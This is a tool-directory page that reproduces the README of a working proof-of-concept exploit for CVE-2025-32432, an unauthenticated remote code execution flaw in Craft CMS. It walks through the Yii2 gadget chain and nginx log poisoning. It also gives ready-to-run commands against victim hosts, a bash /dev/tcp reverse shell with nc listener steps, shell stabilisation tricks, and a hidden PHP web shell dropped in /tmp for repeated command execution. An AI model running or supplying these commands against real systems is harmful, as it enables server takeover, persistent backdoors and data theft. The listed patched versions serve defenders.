Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-32432 — Working PoC for CVE-2025-32432 - Craft CMS <= 5.6.16 unauthenticated RCE via Yii2 PhpManager gadget + nginx access.log poisoning | Kitploit
Tools/GitHubGitHub/cd-ratel/cve-2025-32432
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationPayload Development
GitHubcd-ratel/cve-2025-32432

CVE-2025-32432

Working PoC for CVE-2025-32432 - Craft CMS <= 5.6.16 unauthenticated RCE via Yii2 PhpManager gadget + nginx access.log poisoning

View Repository
21114 months agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-32432 - Craft CMS Unauthenticated RCE PoC

Working proof-of-concept for CVE-2025-32432, an unauthenticated remote code execution vulnerability in Craft CMS versions up to and including 5.6.16 (also affects 4.x and 3.x trees on equivalent code paths).

Search keywords: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit, Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior, nginx log poisoning Craft, unauth RCE craftcms 2025.


TL;DR

git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'

Default mode targets vanilla Craft CMS installs. A --lab flag is included for the carangueijada-20 challenge of the hacklab-platform project, which gates Craft behind a custom session cookie.


Vulnerability

Affected component: craft\controllers\AssetsController::actionGenerateTransform.

The action is registered as allowAnonymous, so no authentication is required. It accepts a POST parameter handle which is then spread into a Craft::createObject() call:

$transform = Craft::createObject([
    'class' => ImageTransform::class,
    ...$handle,
]);

When $handle is an associative array under attacker control, the spread injects arbitrary keys into the constructor config. In particular, a key beginning with as is interpreted by yii\base\Component::__set as a behavior attachment, which calls Yii::createObject($config) on the value before any type check:

elseif (strncmp($name, 'as ', 3) === 0) {
    $name = trim(substr($name, 3));
    $this->attachBehavior(
        $name,
        $value instanceof Behavior ? $value : Yii::createObject($value),
    );
    return;
}

The Yii2 fix in 2.0.50 added is_subclass_of($value['class'], Behavior::class) guarding this branch; vulnerable installs (Yii2 <= 2.0.49, or earlier patched-out check) skip the guard entirely.

Gadget: yii\rbac\PhpManager

PhpManager is a stock Yii2 class. Its init() calls load(), which calls loadFromFile($this->itemFile). loadFromFile is literally:

protected function loadFromFile($file)
{
    if (is_file($file)) {
        return require $file;
    }
    return [];
}

require parses any file on disk as PHP. If the file contains a <?php ... ?> block, that block runs in the worker. By pointing itemFile at a file whose content the attacker controls, full RCE is achieved.

Sink: nginx access.log

The reliable cross-install sink is the nginx combined-format access.log. It records the request User-Agent verbatim, including non-printable characters and most punctuation. By sending a request whose User-Agent is <?php system('id'); exit; ?>, the attacker plants a PHP block at a known path. Pointing itemFile at /var/log/nginx/access.log then requires the log, executing every <?php ... ?> block in order.

Two subtleties matter:

  1. No double quotes in the payload. nginx escapes " to \x22 in the combined format, which breaks PHP parsing of the line. Use single quotes or chr() concatenation.
  2. exit; at the end so require aborts before parsing later log lines that may contain other malformed payloads.

Affected versions

ComponentVulnerablePatched
Craft CMS<= 5.6.165.6.17
Craft CMS<= 4.15.24.15.3
Craft CMS<= 3.9.143.9.15
Yii2<= 2.0.492.0.50

Craft 5.6.17 adds an ImageTransformerInterface check on the transformer class. Yii2 2.0.50 adds a Behavior subclass check in Component::__set. Either fix alone closes this exact gadget chain.


Requirements

  • Python 3.8+
  • requests library (pip install -r requirements.txt)
  • Network reachability to the target HTTP(S) endpoint
  • A valid Craft assetId on the target. Default 2; override with -a <id> if needed (asset id 1 is usually the admin avatar).

Usage

Vanilla Craft CMS

python3 exploit.py -u http://victim.tld -c 'id'

Craft mounted under a path prefix

python3 exploit.py -u http://victim.tld -p /cms -c 'id'

Custom asset ID

python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'

Custom itemFile (different log path, FPM session, etc.)

python3 exploit.py -u http://victim.tld \
                   -i /var/log/apache2/access.log \
                   -c 'id'

Lab mode (carangueijada-20 challenge)

The carangueijada-20 lab from the hacklab-platform gates the Craft install behind a coopsess cookie issued by PATCH /login. The --lab flag handles that handshake automatically.

python3 exploit.py --lab \
                   -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
                   -c 'id; uname -a'

Make sure www.carangueijada.coop resolves to the lab IP (add to /etc/hosts if needed).

Reverse shell

The --revshell flag fires a bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 connect-back, backgrounded so the gadget POST returns instantly.

Two-terminal flow (most reliable):

# terminal 1 - listener on your machine
nc -lvnp 4444

# terminal 2 - fire exploit
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444

One-terminal flow with built-in listener:

python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444 \
                   --auto-listen

--auto-listen spawns nc -lvnp <lport> in the same terminal before firing the payload. Ctrl+C exits when you are done.

Sample session (lab):

$ python3 exploit.py --lab \
    -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
    --revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*]     coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*]     HTTP 200
[*] Reverse shell fired.

# in the listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$

Stabilizing the shell (after connect, run inside the reverse shell):

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z to background nc
stty raw -echo; fg
# Enter twice
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200

How idempotency works

On the first run, the exploit poisons access.log once to drop a hidden PHP wrapper at /tmp/.cve32432_w.php. The wrapper reads the X-Cmd HTTP header and runs system($_SERVER['HTTP_X_CMD']). Every subsequent dispatch points itemFile at the wrapper file and passes the command via header. No more poisoning, no more log pollution, no more "first <?php exit; block wins" failures.

If you want to force re-drop, delete /tmp/.cve32432_w.php on the target (you can do this through the wrapper itself: --cmd 'rm /tmp/.cve32432_w.php').


Sample output

Successful run against fresh target:

[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*]     CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*]     poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*]     HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux

Polluted-log fallback (target has been exploited before, older payload exits before yours):

Download Tool